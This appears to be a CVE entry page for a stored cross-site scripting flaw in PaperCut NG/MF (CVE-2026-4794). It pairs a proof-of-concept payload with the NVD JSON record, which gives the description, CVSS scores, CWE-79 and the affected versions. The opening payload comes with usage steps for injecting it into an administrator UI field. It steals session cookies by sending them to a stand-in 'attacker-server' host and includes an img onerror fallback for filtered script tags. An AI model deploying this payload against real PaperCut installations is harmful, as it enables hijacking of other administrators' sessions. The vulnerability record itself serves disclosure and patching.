CVE-2026-4794

<!-- PoC for Stored XSS in PaperCut NG/MF (CVE-2026-4794) Context: Administrator UI Input Field Usage: Inject payload into a vulnerable field and wait for another admin to view. --> <script> // Simple payload to demonstrate XSS execution alert('XSS Triggered: ' + document.cookie); // Advanced payload to exfiltrate session (Example) var img = new Image(); img.src = "http://attacker-server/log.php?c=" + encodeURIComponent(document.cookie); </script> <!-- Alternatively, using img tag if script tags are filtered --> <img src=x onerror=alert('XSS')>

{"cve": {"id": "CVE-2026-4794", "sourceIdentifier": "eb41dac7-0af8-4f84-9f6d-0272772514f4", "published": "2026-03-31T01:16:36.743", "lastModified": "2026-04-03T18:15:05.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple cross-site scripting (XSS) vulnerabilities in PaperCut NG/MF before 25.0.10 allow authenticated administrator users to inject arbitrary web script or HTML code via different UI fields. This could be used to compromise other admininistrator's sessions or perform unauthorized actions via the administrator's authenticated context (e.g. requires an active login session)."}, {"lang": "es", "value": "Múltiples vulnerabilidades de cross-site scripting (XSS) en PaperCut NG/MF anteriores a la versión 25.0.10 permiten a usuarios administradores autenticados inyectar scripts web o código HTML arbitrarios a través de diferentes campos de la interfaz de usuario. Esto podría usarse para comprometer las sesiones de otros administradores o realizar acciones no autorizadas a través del contexto autenticado del administrador (por ejemplo, requiere una sesión de inicio de sesión activa)."}], "metrics": {"cvssMetricV40": [{"source": "eb41dac7-0af8-4f84-9f6d-0272772514f4", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "eb41dac7-0af8-4f84-9f6d-0272772514f4", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.0.10", "matchCriteriaId": "CBDB4B03-5DFF-4983-94F4-27097E8DE93D"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.0.10", "matchCriteriaId": "C3318324-1141-474E-8AC9-75304DE81432"}]}]}], "references": [{"url": "https://www.papercut.com/kb/Main/papercut-ng-mf-security-bulletin-march-2026/", "source": "eb41dac7-0af8-4f84-9f6d-0272772514f4", "tags": ["Vendor Advisory"]}]}}